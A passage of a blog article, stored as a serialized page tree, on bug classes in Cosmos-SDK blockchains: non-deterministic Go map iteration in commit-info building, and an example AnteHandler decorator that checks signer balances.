"type":29,"value":70639},{"type":23,"tag":141,"props":76265,"children":76266},{"style":160},[76267],{"type":29,"value":74901},{"type":23,"tag":141,"props":76269,"children":76270},{"style":148},[76271],{"type":29,"value":75884},{"type":23,"tag":141,"props":76273,"children":76274},{"style":750},[76275],{"type":29,"value":20052},{"type":23,"tag":141,"props":76277,"children":76278},{"style":154},[76279],{"type":29,"value":1951},{"type":23,"tag":141,"props":76281,"children":76282},{"class":143,"line":810},[76283,76287,76291,76295,76299,76303],{"type":23,"tag":141,"props":76284,"children":76285},{"style":750},[76286],{"type":29,"value":24870},{"type":23,"tag":141,"props":76288,"children":76289},{"style":154},[76290],{"type":29,"value":322},{"type":23,"tag":141,"props":76292,"children":76293},{"style":750},[76294],{"type":29,"value":75909},{"type":23,"tag":141,"props":76296,"children":76297},{"style":154},[76298],{"type":29,"value":322},{"type":23,"tag":141,"props":76300,"children":76301},{"style":184},[76302],{"type":29,"value":75918},{"type":23,"tag":141,"props":76304,"children":76305},{"style":154},[76306],{"type":29,"value":2123},{"type":23,"tag":141,"props":76308,"children":76309},{"class":143,"line":824},[76310,76314,76318,76322],{"type":23,"tag":141,"props":76311,"children":76312},{"style":750},[76313],{"type":29,"value":75930},{"type":23,"tag":141,"props":76315,"children":76316},{"style":154},[76317],{"type":29,"value":322},{"type":23,"tag":141,"props":76319,"children":76320},{"style":184},[76321],{"type":29,"value":75939},{"type":23,"tag":141,"props":76323,"children":76324},{"style":154},[76325],{"type":29,"value":2123},{"type":23,"tag":141,"props":76327,"children":76328},{"class":143,"line":839},[76329,76333],{"type":23,"tag":141,"props":76330,"children":76331},{"style":828},[76332],{"type":29,"value":75951},{"type":23,"tag":141,"props":76334,"children":76335},{"style":154},[76336],{"type":29,"value":2168},{"type":23,"tag":141,"props":76338,"children":76339},{"class":143,"line":848},[76340,76344,76348,76352,76356,76360,76364,76368,76372,76376],{"type":23,"tag":141,"props":76341,"children":76342},{"style":750},[76343],{"type":29,"value":75963},{"type":23,"tag":141,"props":76345,"children":76346},{"style":154},[76347],{"type":29,"value":322},{"type":23,"tag":141,"props":76349,"children":76350},{"style":184},[76351],{"type":29,"value":75972},{"type":23,"tag":141,"props":76353,"children":76354},{"style":154},[76355],{"type":29,"value":192},{"type":23,"tag":141,"props":76357,"children":76358},{"style":750},[76359],{"type":29,"value":70639},{"type":23,"tag":141,"props":76361,"children":76362},{"style":154},[76363],{"type":29,"value":480},{"type":23,"tag":141,"props":76365,"children":76366},{"style":750},[76367],{"type":29,"value":75848},{"type":23,"tag":141,"props":76369,"children":76370},{"style":154},[76371],{"type":29,"value":2399},{"type":23,"tag":141,"props":76373,"children":76374},{"style":750},[76375],{"type":29,"value":70639},{"type":23,"tag":141,"props":76377,"children":76378},{"style":154},[76379],{"type":29,"value":76380},"]),\n",{"type":23,"tag":141,"props":76382,"children":76383},{"class":143,"line":2304},[76384],{"type":23,"tag":141,"props":76385,"children":76386},{"style":154},[76387],{"type":29,"value":76000},{"type":23,"tag":141,"props":76389,"children":76390},{"class":143,"line":2313},[76391],{"type":23,"tag":141,"props":76392,"children":76393},{"style":154},[76394],{"type":29,"value":66803},{"type":23,"tag":141,"props":76396,"children":76397},{"class":143,"line":2335},[76398],{"type":23,"tag":141,"props":76399,"children":76400},{"style":154},[76401],{"type":29,"value":299},{"type":23,"tag":141,"props":76403,"children":76404},{"class":143,"line":2343},[76405],{"type":23,"tag":141,"props":76406,"children":76407},{"style":154},[76408],{"type":29,"value":2573},{"type":23,"tag":32,"props":76410,"children":76411},{},[76412],{"type":29,"value":76413},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":8287,"props":76415,"children":76417},{"id":76416},"real-world-examples-1",[76418],{"type":29,"value":75174},{"type":23,"tag":32,"props":76420,"children":76421},{},[76422,76424,76429,76431,76437,76439,76445,76447,76453],{"type":29,"value":76423},"Real-world examples of ",{"type":23,"tag":38,"props":76425,"children":76427},{"className":76426},[],[76428],{"type":29,"value":65584},{"type":29,"value":76430}," causing determinism problems can be found ",{"type":23,"tag":55,"props":76432,"children":76435},{"href":76433,"rel":76434},"https://github.com/cosmos/cosmos-sdk/pull/12487",[59],[76436],{"type":29,"value":46062},{"type":29,"value":76438},", specifically, where the result of ",{"type":23,"tag":38,"props":76440,"children":76442},{"className":76441},[],[76443],{"type":29,"value":76444},"buildCommitInfo",{"type":29,"value":76446}," is inconsistent due to iteration over the ",{"type":23,"tag":38,"props":76448,"children":76450},{"className":76449},[],[76451],{"type":29,"value":76452},"rs.stores",{"type":29,"value":76454}," map.",{"type":23,"tag":32,"props":76456,"children":76457},{},[76458],{"type":23,"tag":55,"props":76459,"children":76462},{"href":76460,"rel":76461},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[59],[76463],{"type":29,"value":75224},{"type":23,"tag":131,"props":76465,"children":76467},{"code":76466,"language":74649,"meta":7,"className":74650,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[76468],{"type":23,"tag":38,"props":76469,"children":76470},{"__ignoreMap":7},[76471,76508,76521,76549,76583,76628,76674,76682,76689,76734,76764,76793,76800,76807,76834,76856,76876,76883],{"type":23,"tag":141,"props":76472,"children":76473},{"class":143,"line":144},[76474,76478,76482,76487,76491,76496,76500,76504],{"type":23,"tag":141,"props":76475,"children":76476},{"style":449},[76477],{"type":29,"value":74785},{"type":23,"tag":141,"props":76479,"children":76480},{"style":154},[76481],{"type":29,"value":1220},{"type":23,"tag":141,"props":76483,"children":76484},{"style":750},[76485],{"type":29,"value":76486},"rs ",{"type":23,"tag":141,"props":76488,"children":76489},{"style":160},[76490],{"type":29,"value":197},{"type":23,"tag":141,"props":76492,"children":76493},{"style":725},[76494],{"type":29,"value":76495},"Store",{"type":23,"tag":141,"props":76497,"children":76498},{"style":154},[76499],{"type":29,"value":1748},{"type":23,"tag":141,"props":76501,"children":76502},{"style":184},[76503],{"type":29,"value":76444},{"type":23,"tag":141,"props":76505,"children":76506},{"style":154},[76507],{"type":29,"value":2123},{"type":23,"tag":141,"props":76509,"children":76510},{"class":143,"line":180},[76511,76516],{"type":23,"tag":141,"props":76512,"children":76513},{"style":750},[76514],{"type":29,"value":76515}," version",{"type":23,"tag":141,"props":76517,"children":76518},{"style":725},[76519],{"type":29,"value":76520}," int64\n",{"type":23,"tag":141,"props":76522,"children":76523},{"class":143,"line":205},[76524,76528,76532,76536,76540,76545],{"type":23,"tag":141,"props":76525,"children":76526},{"style":154},[76527],{"type":29,"value":1748},{"type":23,"tag":141,"props":76529,"children":76530},{"style":160},[76531],{"type":29,"value":197},{"type":23,"tag":141,"props":76533,"children":76534},{"style":725},[76535],{"type":29,"value":4432},{"type":23,"tag":141,"props":76537,"children":76538},{"style":154},[76539],{"type":29,"value":322},{"type":23,"tag":141,"props":76541,"children":76542},{"style":725},[76543],{"type":29,"value":76544},"CommitInfo",{"type":23,"tag":141,"props":76546,"children":76547},{"style":154},[76548],{"type":29,"value":1951},{"type":23,"tag":141,"props":76550,"children":76551},{"class":143,"line":218},[76552,76557,76561,76565,76569,76573,76578],{"type":23,"tag":141,"props":76553,"children":76554},{"style":750},[76555],{"type":29,"value":76556}," storeInfos",{"type":23,"tag":141,"props":76558,"children":76559},{"style":160},[76560],{"type":29,"value":74901},{"type":23,"tag":141,"props":76562,"children":76563},{"style":154},[76564],{"type":29,"value":74712},{"type":23,"tag":141,"props":76566,"children":76567},{"style":725},[76568],{"type":29,"value":4432},{"type":23,"tag":141,"props":76570,"children":76571},{"style":154},[76572],{"type":29,"value":322},{"type":23,"tag":141,"props":76574,"children":76575},{"style":725},[76576],{"type":29,"value":76577},"StoreInfo",{"type":23,"tag":141,"props":76579,"children":76580},{"style":154},[76581],{"type":29,"value":76582},"{}\n",{"type":23,"tag":141,"props":76584,"children":76585},{"class":143,"line":227},[76586,76590,76594,76598,76602,76606,76610,76615,76619,76624],{"type":23,"tag":141,"props":76587,"children":76588},{"style":148},[76589],{"type":29,"value":1692},{"type":23,"tag":141,"props":76591,"children":76592},{"style":750},[76593],{"type":29,"value":4605},{"type":23,"tag":141,"props":76595,"children":76596},{"style":154},[76597],{"type":29,"value":480},{"type":23,"tag":141,"props":76599,"children":76600},{"style":750},[76601],{"type":29,"value":4614},{"type":23,"tag":141,"props":76603,"children":76604},{"style":160},[76605],{"type":29,"value":74901},{"type":23,"tag":141,"props":76607,"children":76608},{"style":148},[76609],{"type":29,"value":75884},{"type":23,"tag":141,"props":76611,"children":76612},{"style":750},[76613],{"type":29,"value":76614}," rs",{"type":23,"tag":141,"props":76616,"children":76617},{"style":154},[76618],{"type":29,"value":322},{"type":23,"tag":141,"props":76620,"children":76621},{"style":750},[76622],{"type":29,"value":76623},"stores",{"type":23,"tag":141,"props":76625,"children":76626},{"style":154},[76627],{"type":29,"value":1951},{"type":23,"tag":141,"props":76629,"children":76630},{"class":143,"line":241},[76631,76635,76639,76643,76648,76652,76656,76661,76665,76670],{"type":23,"tag":141,"props":76632,"children":76633},{"style":148},[76634],{"type":29,"value":233},{"type":23,"tag":141,"props":76636,"children":76637},{"style":750},[76638],{"type":29,"value":4505},{"type":23,"tag":141,"props":76640,"children":76641},{"style":154},[76642],{"type":29,"value":322},{"type":23,"tag":141,"props":76644,"children":76645},{"style":184},[76646],{"type":29,"value":76647},"GetStoreType",{"type":23,"tag":141,"props":76649,"children":76650},{"style":154},[76651],{"type":29,"value":12720},{"type":23,"tag":141,"props":76653,"children":76654},{"style":160},[76655],{"type":29,"value":7251},{"type":23,"tag":141,"props":76657,"children":76658},{"style":750},[76659],{"type":29,"value":76660}," types",{"type":23,"tag":141,"props":76662,"children":76663},{"style":154},[76664],{"type":29,"value":322},{"type":23,"tag":141,"props":76666,"children":76667},{"style":750},[76668],{"type":29,"value":76669},"StoreTypeTransient",{"type":23,"tag":141,"props":76671,"children":76672},{"style":154},[76673],{"type":29,"value":1951},{"type":23,"tag":141,"props":76675,"children":76676},{"class":143,"line":262},[76677],{"type":23,"tag":141,"props":76678,"children":76679},{"style":148},[76680],{"type":29,"value":76681}," continue\n",{"type":23,"tag":141,"props":76683,"children":76684},{"class":143,"line":271},[76685],{"type":23,"tag":141,"props":76686,"children":76687},{"style":154},[76688],{"type":29,"value":2008},{"type":23,"tag":141,"props":76690,"children":76691},{"class":143,"line":293},[76692,76697,76701,76705,76709,76714,76718,76722,76726,76730],{"type":23,"tag":141,"props":76693,"children":76694},{"style":750},[76695],{"type":29,"value":76696}," storeInfos",{"type":23,"tag":141,"props":76698,"children":76699},{"style":160},[76700],{"type":29,"value":1674},{"type":23,"tag":141,"props":76702,"children":76703},{"style":184},[76704],{"type":29,"value":76181},{"type":23,"tag":141,"props":76706,"children":76707},{"style":154},[76708],{"type":29,"value":192},{"type":23,"tag":141,"props":76710,"children":76711},{"style":750},[76712],{"type":29,"value":76713},"storeInfos",{"type":23,"tag":141,"props":76715,"children":76716},{"style":154},[76717],{"type":29,"value":480},{"type":23,"tag":141,"props":76719,"children":76720},{"style":725},[76721],{"type":29,"value":4432},{"type":23,"tag":141,"props":76723,"children":76724},{"style":154},[76725],{"type":29,"value":322},{"type":23,"tag":141,"props":76727,"children":76728},{"style":725},[76729],{"type":29,"value":76577},{"type":23,"tag":141,"props":76731,"children":76732},{"style":154},[76733],{"type":29,"value":766},{"type":23,"tag":141,"props":76735,"children":76736},{"class":143,"line":801},[76737,76742,76747,76751,76755,76760],{"type":23,"tag":141,"props":76738,"children":76739},{"style":750},[76740],{"type":29,"value":76741}," Name",{"type":23,"tag":141,"props":76743,"children":76744},{"style":154},[76745],{"type":29,"value":76746},": ",{"type":23,"tag":141,"props":76748,"children":76749},{"style":750},[76750],{"type":29,"value":70639},{"type":23,"tag":141,"props":76752,"children":76753},{"style":154},[76754],{"type":29,"value":322},{"type":23,"tag":141,"props":76756,"children":76757},{"style":184},[76758],{"type":29,"value":76759},"Name",{"type":23,"tag":141,"props":76761,"children":76762},{"style":154},[76763],{"type":29,"value":2151},{"type":23,"tag":141,"props":76765,"children":76766},{"class":143,"line":810},[76767,76772,76776,76780,76784,76789],{"type":23,"tag":141,"props":76768,"children":76769},{"style":750},[76770],{"type":29,"value":76771}," CommitId",{"type":23,"tag":141,"props":76773,"children":76774},{"style":154},[76775],{"type":29,"value":14008},{"type":23,"tag":141,"props":76777,"children":76778},{"style":750},[76779],{"type":29,"value":4614},{"type":23,"tag":141,"props":76781,"children":76782},{"style":154},[76783],{"type":29,"value":322},{"type":23,"tag":141,"props":76785,"children":76786},{"style":184},[76787],{"type":29,"value":76788},"LastCommitID",{"type":23,"tag":141,"props":76790,"children":76791},{"style":154},[76792],{"type":29,"value":2151},{"type":23,"tag":141,"props":76794,"children":76795},{"class":143,"line":824},[76796],{"type":23,"tag":141,"props":76797,"children":76798},{"style":154},[76799],{"type":29,"value":66680},{"type":23,"tag":141,"props":76801,"children":76802},{"class":143,"line":839},[76803],{"type":23,"tag":141,"props":76804,"children":76805},{"style":154},[76806],{"type":29,"value":299},{"type":23,"tag":141,"props":76808,"children":76809},{"class":143,"line":848},[76810,76814,76818,76822,76826,76830],{"type":23,"tag":141,"props":76811,"children":76812},{"style":148},[76813],{"type":29,"value":15665},{"type":23,"tag":141,"props":76815,"children":76816},{"style":160},[76817],{"type":29,"value":5815},{"type":23,"tag":141,"props":76819,"children":76820},{"style":725},[76821],{"type":29,"value":4432},{"type":23,"tag":141,"props":76823,"children":76824},{"style":154},[76825],{"type":29,"value":322},{"type":23,"tag":141,"props":76827,"children":76828},{"style":725},[76829],{"type":29,"value":76544},{"type":23,"tag":141,"props":76831,"children":76832},{"style":154},[76833],{"type":29,"value":766},{"type":23,"tag":141,"props":76835,"children":76836},{"class":143,"line":2304},[76837,76842,76847,76852],{"type":23,"tag":141,"props":76838,"children":76839},{"style":750},[76840],{"type":29,"value":76841}," Version",{"type":23,"tag":141,"props":76843,"children":76844},{"style":154},[76845],{"type":29,"value":76846},": ",{"type":23,"tag":141,"props":76848,"children":76849},{"style":750},[76850],{"type":29,"value":76851},"version",{"type":23,"tag":141,"props":76853,"children":76854},{"style":154},[76855],{"type":29,"value":2168},{"type":23,"tag":141,"props":76857,"children":76858},{"class":143,"line":2313},[76859,76864,76868,76872],{"type":23,"tag":141,"props":76860,"children":76861},{"style":750},[76862],{"type":29,"value":76863}," StoreInfos",{"type":23,"tag":141,"props":76865,"children":76866},{"style":154},[76867],{"type":29,"value":14008},{"type":23,"tag":141,"props":76869,"children":76870},{"style":750},[76871],{"type":29,"value":76713},{"type":23,"tag":141,"props":76873,"children":76874},{"style":154},[76875],{"type":29,"value":2168},{"type":23,"tag":141,"props":76877,"children":76878},{"class":143,"line":2335},[76879],{"type":23,"tag":141,"props":76880,"children":76881},{"style":154},[76882],{"type":29,"value":299},{"type":23,"tag":141,"props":76884,"children":76885},{"class":143,"line":2343},[76886],{"type":23,"tag":141,"props":76887,"children":76888},{"style":154},[76889],{"type":29,"value":2573},{"type":23,"tag":32,"props":76891,"children":76892},{},[76893,76895,76902,76903,76910],{"type":29,"value":76894},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":55,"props":76896,"children":76899},{"href":76897,"rel":76898},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[59],[76900],{"type":29,"value":76901},"time-sensitive functions",{"type":29,"value":313},{"type":23,"tag":55,"props":76904,"children":76907},{"href":76905,"rel":76906},"https://github.com/cosmos/cosmos-sdk/issues/16638",[59],[76908],{"type":29,"value":76909},"race conditions",{"type":29,"value":322},{"type":23,"tag":24,"props":76912,"children":76914},{"id":76913},"thou-shalt-not-passor-should-you",[76915],{"type":29,"value":76916},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":32,"props":76918,"children":76919},{},[76920,76922,76928,76929,76935],{"type":29,"value":76921},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":38,"props":76923,"children":76925},{"className":76924},[],[76926],{"type":29,"value":76927},"msg.value",{"type":29,"value":480},{"type":23,"tag":38,"props":76930,"children":76932},{"className":76931},[],[76933],{"type":29,"value":76934},"msg.sender",{"type":29,"value":76936},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":32,"props":76938,"children":76939},{},[76940,76942,76948,76950,76956],{"type":29,"value":76941},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":38,"props":76943,"children":76945},{"className":76944},[],[76946],{"type":29,"value":76947},"Cosmos-SDK",{"type":29,"value":76949}," introduces ",{"type":23,"tag":38,"props":76951,"children":76953},{"className":76952},[],[76954],{"type":29,"value":76955},"AnteHandler",{"type":29,"value":76957}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":32,"props":76959,"children":76960},{},[76961,76963,76968,76970,76975],{"type":29,"value":76962},"To provide context, let's first understand how an ",{"type":23,"tag":38,"props":76964,"children":76966},{"className":76965},[],[76967],{"type":29,"value":76955},{"type":29,"value":76969}," is processed. Each ",{"type":23,"tag":38,"props":76971,"children":76973},{"className":76972},[],[76974],{"type":29,"value":76955},{"type":29,"value":76976}," is a state transition function that can:",{"type":23,"tag":116,"props":76978,"children":76979},{},[76980,76985],{"type":23,"tag":120,"props":76981,"children":76982},{},[76983],{"type":29,"value":76984},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":120,"props":76986,"children":76987},{},[76988,76990],{"type":29,"value":76989},"Determine the course of action for the transaction.\n",{"type":23,"tag":116,"props":76991,"children":76992},{},[76993,77004],{"type":23,"tag":120,"props":76994,"children":76995},{},[76996,76998,77003],{"type":29,"value":76997},"Pass the transaction to the next ",{"type":23,"tag":38,"props":76999,"children":77001},{"className":77000},[],[77002],{"type":29,"value":76955},{"type":29,"value":322},{"type":23,"tag":120,"props":77005,"children":77006},{},[77007],{"type":29,"value":77008},"Return error for transaction.",{"type":23,"tag":32,"props":77010,"children":77011},{},[77012,77014,77019],{"type":29,"value":77013},"The bad news is that developing an ",{"type":23,"tag":38,"props":77015,"children":77017},{"className":77016},[],[77018],{"type":29,"value":76955},{"type":29,"value":77020}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":32,"props":77022,"children":77023},{},[77024,77025,77031],{"type":29,"value":388},{"type":23,"tag":38,"props":77026,"children":77028},{"className":77027},[],[77029],{"type":29,"value":77030},"AnteHandle",{"type":29,"value":77032}," implementation may look something like this:",{"type":23,"tag":131,"props":77034,"children":77036},{"code":77035,"language":74649,"meta":7,"className":74650,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[77037],{"type":23,"tag":38,"props":77038,"children":77039},{"__ignoreMap":7},[77040,77052,77068,77075,77082,77115,77139,77164,77180,77204,77236,77284,77303,77336,77357,77369,77376,77383,77390,77420,77456,77520,77554,77586,77598,77610,77617,77624,77631,77638,77680],{"type":23,"tag":141,"props":77041,"children":77042},{"class":143,"line":144},[77043,77047],{"type":23,"tag":141,"props":77044,"children":77045},{"style":449},[77046],{"type":29,"value":8334},{"type":23,"tag":141,"props":77048,"children":77049},{"style":154},[77050],{"type":29,"value":77051}," (\n",{"type":23,"tag":141,"props":77053,"children":77054},{"class":143,"line":180},[77055,77060,77064],{"type":23,"tag":141,"props":77056,"children":77057},{"style":750},[77058],{"type":29,"value":77059}," MIN_BALANCE",{"type":23,"tag":141,"props":77061,"children":77062},{"style":160},[77063],{"type":29,"value":1674},{"type":23,"tag":141,"props":77065,"children":77066},{"style":472},[77067],{"type":29,"value":18014},{"type":23,"tag":141,"props":77069,"children":77070},{"class":143,"line":205},[77071],{"type":23,"tag":141,"props":77072,"children":77073},{"style":154},[77074],{"type":29,"value":758},{"type":23,"tag":141,"props":77076,"children":77077},{"class":143,"line":218},[77078],{"type":23,"tag":141,"props":77079,"children":77080},{"emptyLinePlaceholder":15},[77081],{"type":29,"value":719},{"type":23,"tag":141,"props":77083,"children":77084},{"class":143,"line":227},[77085,77089,77093,77098,77103,77107,77111],{"type":23,"tag":141,"props":77086,"children":77087},{"style":449},[77088],{"type":29,"value":74785},{"type":23,"tag":141,"props":77090,"children":77091},{"style":154},[77092],{"type":29,"value":1220},{"type":23,"tag":141,"props":77094,"children":77095},{"style":750},[77096],{"type":29,"value":77097},"abd ",{"type":23,"tag":141,"props":77099,"children":77100},{"style":725},[77101],{"type":29,"value":77102},"AccountBalanceDecorator",{"type":23,"tag":141,"props":77104,"children":77105},{"style":154},[77106],{"type":29,"value":1748},{"type":23,"tag":141,"props":77108,"children":77109},{"style":184},[77110],{"type":29,"value":77030},{"type":23,"tag":141,"props":77112,"children":77113},{"style":154},[77114],{"type":29,"value":2123},{"type":23,"tag":141,"props":77116,"children":77117},{"class":143,"line":241},[77118,77122,77127,77131,77135],{"type":23,"tag":141,"props":77119,"children":77120},{"style":750},[77121],{"type":29,"value":18895},{"type":23,"tag":141,"props":77123,"children":77124},{"style":725},[77125],{"type":29,"value":77126}," sdk",{"type":23,"tag":141,"props":77128,"children":77129},{"style":154},[77130],{"type":29,"value":322},{"type":23,"tag":141,"props":77132,"children":77133},{"style":725},[77134],{"type":29,"value":74834},{"type":23,"tag":141,"props":77136,"children":77137},{"style":154},[77138],{"type":29,"value":2168},{"type":23,"tag":141,"props":77140,"children":77141},{"class":143,"line":262},[77142,77147,77151,77155,77160],{"type":23,"tag":141,"props":77143,"children":77144},{"style":750},[77145],{"type":29,"value":77146}," tx",{"type":23,"tag":141,"props":77148,"children":77149},{"style":725},[77150],{"type":29,"value":77126},{"type":23,"tag":141,"props":77152,"children":77153},{"style":154},[77154],{"type":29,"value":322},{"type":23,"tag":141,"props":77156,"children":77157},{"style":725},[77158],{"type":29,"value":77159},"Tx",{"type":23,"tag":141,"props":77161,"children":77162},{"style":154},[77163],{"type":29,"value":2168},{"type":23,"tag":141,"props":77165,"children":77166},{"class":143,"line":271},[77167,77172,77176],{"type":23,"tag":141,"props":77168,"children":77169},{"style":750},[77170],{"type":29,"value":77171}," simulate",{"type":23,"tag":141,"props":77173,"children":77174},{"style":725},[77175],{"type":29,"value":10730},{"type":23,"tag":141,"props":77177,"children":77178},{"style":154},[77179],{"type":29,"value":2168},{"type":23,"tag":141,"props":77181,"children":77182},{"class":143,"line":293},[77183,77188,77192,77196,77200],{"type":23,"tag":141,"props":77184,"children":77185},{"style":750},[77186],{"type":29,"value":77187}," next",{"type":23,"tag":141,"props":77189,"children":77190},{"style":725},[77191],{"type":29,"value":77126},{"type":23,"tag":141,"props":77193,"children":77194},{"style":154},[77195],{"type":29,"value":322},{"type":23,"tag":141,"props":77197,"children":77198},{"style":725},[77199],{"type":29,"value":76955},{"type":23,"tag":141,"props":77201,"children":77202},{"style":154},[77203],{"type":29,"value":2168},{"type":23,"tag":141,"props":77205,"children":77206},{"class":143,"line":801},[77207,77211,77216,77220,77224,77228,77232],{"type":23,"tag":141,"props":77208,"children":77209},{"style":154},[77210],{"type":29,"value":74867},{"type":23,"tag":141,"props":77212,"children":77213},{"style":725},[77214],{"type":29,"value":77215},"sdk",{"type":23,"tag":141,"props":77217,"children":77218},{"style":154},[77219],{"type":29,"value":322},{"type":23,"tag":141,"props":77221,"children":77222},{"style":725},[77223],{"type":29,"value":74834},{"type":23,"tag":141,"props":77225,"children":77226},{"style":154},[77227],{"type":29,"value":480},{"type":23,"tag":141,"props":77229,"children":77230},{"style":725},[77231],{"type":29,"value":13540},{"type":23,"tag":141,"props":77233,"children":77234},{"style":154},[77235],{"type":29,"value":13480},{"type":23,"tag":141,"props":77237,"children":77238},{"class":143,"line":810},[77239,77244,77248,77253,77257,77261,77266,77271,77275,77280],{"type":23,"tag":141,"props":77240,"children":77241},{"style":750},[77242],{"type":29,"value":77243}," sigTx",{"type":23,"tag":141,"props":77245,"children":77246},{"style":154},[77247],{"type":29,"value":480},{"type":23,"tag":141,"props":77249,"children":77250},{"style":750},[77251],{"type":29,"value":77252},"ok",{"type":23,"tag":141,"props":77254,"children":77255},{"style":160},[77256],{"type":29,"value":74901},{"type":23,"tag":141,"props":77258,"children":77259},{"style":750},[77260],{"type":29,"value":66510},{"type":23,"tag":141,"props":77262,"children":77263},{"style":154},[77264],{"type":29,"value":77265},".(",{"type":23,"tag":141,"props":77267,"children":77268},{"style":725},[77269],{"type":29,"value":77270},"authsigning",{"type":23,"tag":141,"props":77272,"children":77273},{"style":154},[77274],{"type":29,"value":322},{"type":23,"tag":141,"props":77276,"children":77277},{"style":725},[77278],{"type":29,"value":77279},"SigVerifiableTx",{"type":23,"tag":141,"props":77281,"children":77282},{"style":154},[77283],{"type":29,"value":758},{"type":23,"tag":141,"props":77285,"children":77286},{"class":143,"line":824},[77287,77291,77295,77299],{"type":23,"tag":141,"props":77288,"children":77289},{"style":148},[77290],{"type":29,"value":151},{"type":23,"tag":141,"props":77292,"children":77293},{"style":160},[77294],{"type":29,"value":1258},{"type":23,"tag":141,"props":77296,"children":77297},{"style":750},[77298],{"type":29,"value":77252},{"type":23,"tag":141,"props":77300,"children":77301},{"style":154},[77302],{"type":29,"value":1951},{"type":23,"tag":141,"props":77304,"children":77305},{"class":143,"line":839},[77306,77310,77314,77318,77323,77327,77332],{"type":23,"tag":141,"props":77307,"children":77308},{"style":148},[77309],{"type":29,"value":14420},{"type":23,"tag":141,"props":77311,"children":77312},{"style":750},[77313],{"type":29,"value":24527},{"type":23,"tag":141,"props":77315,"children":77316},{"style":154},[77317],{"type":29,"value":480},{"type":23,"tag":141,"props":77319,"children":77320},{"style":750},[77321],{"type":29,"value":77322},"errorsmod",{"type":23,"tag":141,"props":77324,"children":77325},{"style":154},[77326],{"type":29,"value":322},{"type":23,"tag":141,"props":77328,"children":77329},{"style":184},[77330],{"type":29,"value":77331},"Wrap",{"type":23,"tag":141,"props":77333,"children":77334},{"style":154},[77335],{"type":29,"value":2123},{"type":23,"tag":141,"props":77337,"children":77338},{"class":143,"line":848},[77339,77344,77348,77353],{"type":23,"tag":141,"props":77340,"children":77341},{"style":750},[77342],{"type":29,"value":77343}," sdkerrors",{"type":23,"tag":141,"props":77345,"children":77346},{"style":154},[77347],{"type":29,"value":322},{"type":23,"tag":141,"props":77349,"children":77350},{"style":750},[77351],{"type":29,"value":77352},"ErrTxDecode",{"type":23,"tag":141,"props":77354,"children":77355},{"style":154},[77356],{"type":29,"value":2168},{"type":23,"tag":141,"props":77358,"children":77359},{"class":143,"line":2304},[77360,77365],{"type":23,"tag":141,"props":77361,"children":77362},{"style":828},[77363],{"type":29,"value":77364}," \"invalid tx type\"",{"type":23,"tag":141,"props":77366,"children":77367},{"style":154},[77368],{"type":29,"value":2168},{"type":23,"tag":141,"props":77370,"children":77371},{"class":143,"line":2313},[77372],{"type":23,"tag":141,"props":77373,"children":77374},{"style":154},[77375],{"type":29,"value":66803},{"type":23,"tag":141,"props":77377,"children":77378},{"class":143,"line":2335},[77379],{"type":23,"tag":141,"props":77380,"children":77381},{"style":154},[77382],{"type":29,"value":299},{"type":23,"tag":141,"props":77384,"children":77385},{"class":143,"line":2343},[77386],{"type":23,"tag":141,"props":77387,"children":77388},{"emptyLinePlaceholder":15},[77389],{"type":29,"value":719},{"type":23,"tag":141,"props":77391,"children":77392},{"class":143,"line":2352},[77393,77398,77402,77407,77411,77416],{"type":23,"tag":141,"props":77394,"children":77395},{"style":750},[77396],{"type":29,"value":77397}," signers",{"type":23,"tag":141,"props":77399,"children":77400},{"style":160},[77401],{"type":29,"value":74901},{"type":23,"tag":141,"props":77403,"children":77404},{"style":750},[77405],{"type":29,"value":77406}," 